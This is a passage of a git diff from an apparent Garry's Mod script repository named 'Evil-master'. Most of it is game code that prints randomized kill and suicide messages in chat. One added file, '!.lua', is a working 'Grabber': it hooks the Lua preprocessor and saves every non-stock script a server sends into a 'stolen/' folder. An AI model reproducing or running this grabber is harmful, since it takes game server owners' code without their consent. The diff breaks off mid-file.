(tmp == "npc_antlion_worker" and inflictor ~= "grenade_spit") or + (tmp == "npc_hunter" and inflictor ~= "hunter_flechette") or + (tmp == "npc_strider" and inflictor ~= "concussiveblast") or + tmp == "npc_rollermine" or + tmp == "weapon_striderbuster" or + tmp == "npc_manhack") then inflictor = tmp + end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim, -1 ) + +end ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/!.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/!.lua new file mode 100644 index 0000000..5d514a5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/!.lua @@ -0,0 +1,382 @@ +require( "hook" ) +require( "table" ) +require( "preproc" ) + +MsgN( "<-- Grabber initialized here" ) + +local NoGrab = { + "lua\\includes\\init.lua", + "lua\\includes\\compat.lua", + "lua\\includes\\util.lua", + "lua\\includes\\util\\sql.lua", + "lua\\includes\\modules\\concommand.lua", + "lua\\includes\\modules\\saverestore.lua", + "lua\\includes\\modules\\gamemode.lua", + "lua\\includes\\modules\\weapons.lua", + "lua\\includes\\modules\\timer.lua", + "lua\\includes\\modules\\schedule.lua", + "lua\\includes\\modules\\scripted_ents.lua", + "lua\\includes\\modules\\player_manager.lua", + "lua\\includes\\modules\\numpad.lua", + "lua\\includes\\modules\\team.lua", + "lua\\includes\\modules\\undo.lua", + "lua\\includes\\modules\\usermessage.lua", + "lua\\includes\\modules\\cleanup.lua", + "lua\\includes\\modules\\duplicator.lua", + "lua\\includes\\modules\\constraint.lua", + "lua\\includes\\modules\\construct.lua", + "lua\\includes\\modules\\filex.lua", + "lua\\includes\\modules\\vehicles.lua", + "lua\\includes\\modules\\list.lua", + "lua\\includes\\modules\\cvars.lua", + "lua\\includes\\modules\\http.lua", + "lua\\includes\\modules\\datastream.lua", + "lua\\includes\\modules\\glon.lua", + "lua\\includes\\modules\\draw.lua", + "lua\\includes\\modules\\markup.lua", + "lua\\includes\\modules\\effects.lua", + "lua\\includes\\modules\\killicon.lua", + "lua\\includes\\modules\\spawnmenu.lua", + "lua\\includes\\modules\\controlpanel.lua", + "lua\\includes\\modules\\presets.lua", + "lua\\includes\\modules\\cookie.lua", + "lua\\includes\\util\\model_database.lua", + "lua\\includes\\util\\vgui_showlayout.lua", + "lua\\includes\\util\\tooltips.lua", + "lua\\includes\\util\\client.lua", + "lua\\includes\\gmsave.lua", + "lua\\includes\\gmsave\\uploader.lua", + "lua\\includes\\extensions\\angle.lua", + "lua\\includes\\extensions\\debug.lua", + "lua\\includes\\extensions\\entity.lua", + "lua\\includes\\extensions\\entity_cl.lua", + "lua\\includes\\extensions\\entity_networkvars.lua", + "lua\\includes\\extensions\\global_cl.lua", + "lua\\includes\\extensions\\math.lua", + "lua\\includes\\extensions\\mesh.lua", + "lua\\includes\\extensions\\panel.lua", + "lua\\includes\\extensions\\panel_animation.lua", + "lua\\includes\\extensions\\panel_animation.lua", + "lua\\includes\\extensions\\player.lua", + "lua\\includes\\extensions\\player_auth.lua", + "lua\\includes\\extensions\\player_cl.lua", + "lua\\includes\\extensions\\render.lua", + "lua\\includes\\extensions\\string.lua", + "lua\\includes\\extensions\\table.lua", + "lua\\includes\\extensions\\util.lua", + "lua\\includes\\extensions\\vector.lua", + "lua\\includes\\extensions\\vgui_sciptedpanels.lua", + "lua\\derma\\init.lua", + "lua\\derma\\derma.lua", + "lua\\derma\\derma_example.lua", + "lua\\derma\\derma_menus.lua", + "lua\\derma\\derma_animation.lua", + "lua\\derma\\derma_utils.lua", + "Startup", + "lua\\includes\\modules\\notification.lua", + "gamemodes\\base\\gamemode\\cl_init.lua", + "gamemodes\\base\\gamemode\\shared.lua", + "gamemodes\\base\\gamemode\\obj_player_extend.lua", + "gamemodes\\base\\gamemode\\gravitygun.lua", + "gamemodes\\base\\gamemode\\player_shd.lua", + "gamemodes\\base\\gamemode\\animations.lua", + "gamemodes\\base\\gamemode\\cl_scoreboard.lua", + "gamemodes\\base\\gamemode\\cl_targetid.lua", + "gamemodes\\base\\gamemode\\cl_hudpickup.lua", + "gamemodes\\base\\gamemode\\cl_spawnmenu.lua", + "gamemodes\\base\\gamemode\\cl_deathnotice.lua", + "gamemodes\\base\\gamemode\\cl_pickteam.lua", + "gamemodes\\base\\gamemode\\cl_voice.lua", + "lua\\autorun\\base_npcs.lua", + "lua\\autorun\\base_npcs_weapons.lua", + "lua\\autorun\\base_vehicles.lua", + "lua\\autorun\\developer_functions.lua", + "lua\\autorun\\options_menu.lua", + "lua\\autorun\\utilities_menu.lua", + "addons\\counter-strike\\lua\\autorun\\cs_playermodels.lua", + "lua\\autorun\\client\\player_info.lua", + "lua\\postprocess\\bloom.lua", + "lua\\postprocess\\categories.lua", + "lua\\postprocess\\color_modify.lua", + "lua\\postprocess\\dof.lua", + "lua\\postprocess\\morph.lua", + "lua\\postprocess\\motion_blur.lua", + "lua\\postprocess\\overlay.lua", + "lua\\postprocess\\pixelrender.lua", + "lua\\postprocess\\sharpen.lua", + "lua\\postprocess\\sobel.lua", + "lua\\postprocess\\stereoscopy.lua", + "lua\\postprocess\\sunbeams.lua", + "lua\\postprocess\\super_dof.lua", + "lua\\postprocess\\toytown.lua", + "lua\\vgui\\contextbase.lua", + "lua\\vgui\\dalphabar.lua", + "lua\\vgui\\dbevel.lua", + "lua\\vgui\\dbutton.lua", + "lua\\vgui\\dcategorycollapse.lua", + "lua\\vgui\\dcheckbox.lua", + "lua\\vgui\\dcolorcircle.lua", + "lua\\vgui\\dcolorcube.lua", + "lua\\vgui\\dcoloredbox.lua", + "lua\\vgui\\dcolormixer.lua", + "lua\\vgui\\dcolumnsheet.lua", + "lua\\vgui\\dcombobox.lua", + "lua\\vgui\\dform.lua", + "lua\\vgui\\dframe.lua", + "lua\\vgui\\dgrid.lua", + "lua\\vgui\\dhorizontaldivider.lua", + "lua\\vgui\\dhorizontalscroller.lua", + "lua\\vgui\\dhtmlcontrols.lua", + "lua\\vgui\\dimage.lua", + "lua\\vgui\\dimagebutton.lua", + "lua\\vgui\\dkillicon.lua", + "lua\\vgui\\dlabel.lua", + "lua\\vgui\\dlabelurl.lua", + "lua\\vgui\\dlistview.lua", + "lua\\vgui\\dlistview_column.lua", + "lua\\vgui\\dlistview_line.lua", + "lua\\vgui\\dluaeditor.lua", + "lua\\vgui\\dmenu.lua", + "lua\\vgui\\dmenuoption.lua", + "lua\\vgui\\dmodelpanel.lua", + "lua\\vgui\\dmodelselect.lua", + "lua\\vgui\\dmodelselectmulti.lua", + "lua\\vgui\\dmultichoice.lua", + "lua\\vgui\\dnotify.lua", + "lua\\vgui\\dnumberwang.lua", + "lua\\vgui\\dnumpad.lua", + "lua\\vgui\\dnumslider.lua", + "lua\\vgui\\dpanel.lua", + "lua\\vgui\\dpanellist.lua", + "lua\\vgui\\dpanelselect.lua", + "lua\\vgui\\dpropertysheet.lua", + "lua\\vgui\\drgbbar.lua", + "lua\\vgui\\dscrollbargrip.lua", + "lua\\vgui\\dscrollpanel.lua", + "lua\\vgui\\dshape.lua", + "lua\\vgui\\dslider.lua", + "lua\\vgui\\dsprite.lua", + "lua\\vgui\\dsysbutton.lua", + "lua\\vgui\\dtextentry.lua", + "lua\\vgui\\dtinybutton.lua", + "lua\\vgui\\dtooltip.lua", + "lua\\vgui\\dtree.lua", + "lua\\vgui\\dtree_node.lua", + "lua\\vgui\\dtree_node_button.lua", + "lua\\vgui\\dverticaldivider.lua", + "lua\\vgui\\dvscrollbar.lua", + "lua\\vgui\\fingerposer.lua", + "lua\\vgui\\fingervar.lua", + "lua\\vgui\\imagebutton.lua", + "lua\\vgui\\imagecheckbox.lua", + "lua\\vgui\\material.lua", + "lua\\vgui\\matselect.lua", + "lua\\vgui\\propselect.lua", + "lua\\vgui\\slidebar.lua", + "lua\\vgui\\spawnicon.lua", + "lua\\vgui\\toolquickselect.lua", + "lua\\vgui\\toolquickselect_properties.lua", + "lua\\vgui\\vgui_panellist.lua", + "lua\\skins\\default.lua", + "gamemodes\\sandbox\\gamemode\\cl_init.lua", + "gamemodes\\sandbox\\gamemode\\shared.lua", + "gamemodes\\sandbox\\gamemode\\player_extension.lua", + "gamemodes\\sandbox\\gamemode\\cl_spawnmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\spawnmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\toolmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\toolpanel.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controlpanel.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\manifest.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\control_presets.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\preset_editor.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ropematerial.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ctrlnumpad.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ctrlcolor.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ctrllistbox.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\toolmenubutton.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\contextmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\manifest.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props\\propsearch.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props\\searchguts.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props\\proppanel.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\modelbrowse.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\npc.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\weapons.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\vehicles.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\entities.lua", + "gamemodes\\sandbox\\gamemode\\cl_notice.lua", + "gamemodes\\sandbox\\gamemode\\cl_hints.lua", + "gamemodes\\sandbox\\gamemode\\cl_worldtips.lua", + "gamemodes\\sandbox\\gamemode\\cl_scoreboard.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\scoreboard.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\player_row.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\player_infocard.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\admin_buttons.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\vote_button.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\player_frame.lua", + "gamemodes\\sandbox\\gamemode\\cl_quicktool.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\cl_init.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\shared.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\ai_translations.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\sh_anim.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_ak47\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_cs_base\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_deagle\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_fiveseven\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_glock\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_m4\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_mac10\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_mp5\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_para\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_pumpshotgun\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_tmp\\shared.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\cl_init.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\shared.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\ai_translations.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\sh_anim.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_camera\\cl_init.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_camera\\shared.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\cl_init.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\shared.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stool.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\ghostentity.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\object.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stool_cl.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\axis.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\balloon.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ballsocket.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ballsocket_adv.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ballsocket_ez.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\button.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\camera.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\colour.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\duplicator.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\vgui\\duplicator_gui.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\vgui\\duplicator_gui_button.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\dynamite.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\elastic.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\emitter.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\example.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\eyeposer.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\faceposer.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\finger.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\hoverball.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\hydraulic.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ignite.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\inflator.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\keepupright.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\lamp.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\leafblower.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\light.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\magnetise.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\material.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\motor.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\muscle.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\nail.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\nocollide.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\paint.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\physprop.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\pulley.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\remover.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\rope.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\rtcamera.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\slider.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\spawner.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\statue.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\thruster.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\trails.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\turret.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\weld.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\weld_ez.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\wheel.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\winch.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\cl_viewscreen.lua", + "gamemodes\\sandbox\\entities\\weapons\\manhack_welder\\cl_init.lua", + "gamemodes\\sandbox\\entities\\weapons\\manhack_welder\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\shared.lua", + "lua\\entities\\sent_ball\\cl_init.lua", + "lua\\entities\\sent_ball\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_entity\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_entity\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_vehicle\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_vehicle\\shared.lua", + "gamemodes\\base\\entities\\entities\\prop_effect\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\prop_effect\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\base_gmodentity\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\base_gmodentity\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_balloon\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_balloon\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_button\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_button\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_cameraprop\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_cameraprop\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_dynamite\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_dynamite\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_emitter\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_emitter\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_emitter\\fx_default.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_ghost\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_hoverball\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_hoverball\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_lamp\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_lamp\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_light\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_light\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_nail\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_nail\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_rtcameraprop\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_rtcameraprop\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_spawner\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_spawner\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_thruster\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_thruster\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_turret\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_turret\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_wheel\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_wheel\\shared.lua", + "gamemodes\\base\\entities\\effects\\base\\init.lua", + "gamemodes\\base\\entities\\effects\\base\\init.lua", + "gamemodes\\base\\entities\\effects\\dof_node\\init.lua", + "gamemodes\\base\\entities\\effects\\tooltracer\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\balloon_pop\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\entity_remove\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\inflator_magic\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\lasertracer\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\phys_freeze\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\phys_unfreeze\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\propspawn\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\selection_indicator\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\selection_ring\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\wheel_indicator\\init.lua", + "LuaCmd", + "" +} + + +local function WriteSafe(fil, lua) + local safeName = string.gsub( fil, ".lua", ".txt" ) + file.Write( "stolen/" .. safeName, lua ) +end + +lol = {} + +hook.Add("Lua_Preprocess", "LuaHook", function(fil,path,lua) + if NoGrab[ fil ] then return end + WriteSafe( fil, lua ) + + table.insert(lol, fil..path) + print("! called: ", fil,path) +end) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/DeathNotice.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/DeathNotice.lua new file mode 100644 index 0000000..f128512 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/DeathNotice.lua @@ -0,0 +1,1056 @@ + +if ( SERVER ) then + + AddCSLuaFile( "DeathNotice.lua" ) +end + +function deathnotice( victimdata, weapondata, killerdata ) + +finalmessagesuicide = nil +finalmessagekill = nil +weapon = nil + +local victimname = victimdata:GetName() +local weaponname = weapondata:GetClass() +local killername = killerdata:GetName() + +//-----------SUICIDES----------- +if ( ( victimname == killername ) == true ) then + +//------------- +//Suicide +if weaponname == "player" then +finalmessagesuicide = ("") +end +//------------- + +//Rocket suicide +if weaponname == "rpg_missile" then + +local decider = math.random(1,13) + +local message = {} + +message[1] = ( killername .. " found out what the little red dot does." ) +message[2] = ( killername .. " rearranged his insides with a rocket launcher." ) +message[3] = ( killername .. " checked to see if it worked." ) +message[4] = ( killername .. " painted the walls red." ) +message[5] = ( killername .. " asplode." ) +message[6] = ( killername .. " didn't check with the manual." ) +message[7] = ( killername .. " threw himself all across the map." ) +message[8] = ( killername .. " left a small crater." ) +message[9] = ( killername .. " had too many limbs anyway." ) +message[10] = ( killername .. " went trigger-happy with a rocket launcher." ) +message[11] = ( killername .. " was eliminated in a natural selection." ) +message[12] = ( killername .. " checked to see if it was loaded." ) +message[13] = ( killername .. " ate his own rocket." ) + +finalmessagesuicide = message[decider] + +end + +//Grenade suicide +if weaponname == "npc_grenade_frag" then + +local decider = math.random(1,11) + +local message = {} + +message[1] = ( killername .. " splattered himself with a frag." ) +message[2] = ( killername .. " found out a little too late what the pin does." ) +message[3] = ( killername .. " checked to see if it worked." ) +message[4] = ( killername .. " painted the walls red." ) +message[5] = ( killername .. " asplode." ) +message[6] = ( killername .. " found his insides on the outside." ) +message[7] = ( killername .. " couldn't get on with evolution." ) +message[8] = ( killername .. " juggled his own grenades." ) +message[9] = ( killername .. " had too many limbs anyway." ) +message[10] = ( killername .. " checked the pin on his grenade." ) +message[11] = ( killername .. " ate his own grenade." ) + +finalmessagesuicide = message[decider] + +end + +//Turret +if weaponname == "gmod_turret" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " checked to see if it worked." ) +message[2] = ( killername .. " checked his turrets..." ) +message[3] = ( killername .. " filled himself full of holes." ) +message[4] = ( killername .. " shot himself up." ) +message[5] = ( killername .. " was shot down by his own turret." ) +message[6] = ( killername .. " was shot down in a turret accident." ) + +finalmessagesuicide = message[decider] + +end + +//Nuclear suicide +if weaponname == "sent_nuke" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( killername .. " vaporised himself." ) +message[2] = ( killername .. " has been disintegrated." ) +message[3] = ( killername .. " blew himself to bits with an atomic blast." ) +message[4] = ( killername .. " forgot to apply his sun lotion when he detonated the nuke." ) +message[5] = ( killername .. " forgot to set defusal codes on his nuclear weapon." ) +message[6] = ( killername .. " spread himself evenly across the level." ) +message[7] = ( killername .. " tested his nuke to check it worked." ) + +finalmessagesuicide = message[decider] + +end + +//Physics suicide +if weaponname == "prop_physics" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( victimname .. " has been flattened." ) +message[2] = ( victimname .. " was crushed." ) +message[3] = ( victimname .. " got himself killed." ) +message[4] = ( victimname .. " tried to argue with laws of physics." ) +message[5] = ( victimname .. " disregarded neuton's laws." ) +message[6] = ( killername .. " didn't trajectorise his throw properly." ) +message[7] = ( killername .. " caught something heavy with his forehead." ) + +finalmessagesuicide = message[decider] + +end + +//--------------------------- + +//Generic suicide +if finalmessagesuicide == nil then + +finalmessagesuicide = ( killername .. " killed himself with a " .. weaponname .. "." ) + +end + +//Final Message +local locateplayers = player.GetAll( ) +for i = 1, table.getn( locateplayers ) do +locateplayers[i]:ChatPrint( finalmessagesuicide .."\n") +end + +//-----------KILLS----------- +elseif ( ( victimname == killername ) == false ) then + +//------------- +//PLAYER +if weaponname == "player" then + +local weapon = ("") + +if (killerdata:GetActiveWeapon() != NULL) then +weapon = killerdata:GetActiveWeapon():GetClass() +finalmessagekill = ( killername .. " killed " .. victimname .. " with " .. weapon .. " [weapon]" ) +end + +if (killerdata:GetActiveWeapon() == NULL) then +weapon = ("NULL") +finalmessagekill = ("What the hell happened.") +end + +//Crowbar kill +if weapon == "weapon_crowbar" then + +local decider = math.random(1,10) + +local message = {} + +message[1] = ( killername .. " redecorated " .. victimname .. "'s exterior." ) +message[2] = ( victimname .. " was chased down by " .. killername .. "." ) +message[3] = ( victimname .. " suddenly found " .. killername .. "'s crowbar in his eye." ) +message[4] = ( victimname .. " was served a dose of " .. killername .. "'s crowbar." ) +message[5] = ( victimname .. "'s looks have been altered by " .. killername .. "'s crowbar." ) +message[6] = ( victimname .. " didn't fare well against " .. killername .. "'s crowbar." ) +message[7] = ( victimname .. " said ''Hi'' to " .. killername .. "'s crowbar." ) +message[8] = ( killername .. " helped " .. victimname .. " to shut the fuck up." ) +message[9] = ( killername .. " redecorated the level with " .. victimname .. "." ) +message[10] = ( killername .. " disassembled " .. victimname .. " with a crowbar." ) + +finalmessagekill = message[decider] + +end + +//Pistol kill +if weapon == "weapon_pistol" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " put a few holes in " .. victimname .. "." ) +message[2] = ( victimname .. " was not as good at running as " .. killername .. " was a shooting." ) +message[3] = ( victimname .. " almost dodged " .. killername .. "'s bullet." ) +message[4] = ( victimname .. " had a date with " .. killername .. "'s bullet." ) +message[5] = ( killername .. "'s bullet proved mightier than " .. victimname .. "'s skull." ) + +finalmessagekill = message[decider] + +end + +//.357 kill +if weapon == "weapon_357" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " fed " .. victimname .. " a bullet." ) +message[2] = ( victimname .. " couldn't outrun " .. killername .. "'s bullet." ) +message[3] = ( victimname .. " suddenly found " .. killername .. "'s bullet in his arse." ) +message[4] = ( victimname .. " was sniped down by " .. killername .. "." ) +message[5] = ( killername .. " shot " .. victimname .. " a new hole." ) + +finalmessagekill = message[decider] + +end + +//SMG kill +if weapon == "weapon_smg1" then + +local decider = math.random(1,8) + +local message = {} + +message[1] = ( killername .. " filled " .. victimname .. " full of holes." ) +message[2] = ( victimname .. " was gunned down by " .. killername .. "." ) +message[3] = ( victimname .. " was served his daily dose of bullets by " .. killername .. "." ) +message[4] = ( victimname .. " was mowed down by " .. killername .. "." ) +message[5] = ( victimname .. " was spammed to death by " .. killername .. "." ) +message[6] = ( victimname .. " was found dead near " .. killername .. "'s rifle range." ) +message[7] = ( victimname .. " failed to go into bullet time with " .. killername .. "'s SMG." ) +message[8] = ( victimname .. " was perforated by " .. killername .. "'s SMG." ) + +finalmessagekill = message[decider] + +end + +//AR2 kill +if weapon == "weapon_ar2" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " shredded " .. victimname .. " to bits." ) +message[2] = ( killername .. " put a few holes in " .. victimname .. "." ) +message[3] = ( victimname .. " was battered by " .. killername .. "'s AR2." ) +message[4] = ( victimname .. " throughoutly examined " .. killername .. "'s AR2." ) +message[5] = ( victimname .. " couldn't go into bullet time with " .. killername .. "'s AR2." ) + +finalmessagekill = message[decider] + +end + +//Shotgun kill +if weapon == "weapon_shotgun" then + +local decider = math.random(1,5) + +local message = {} + +message[1] 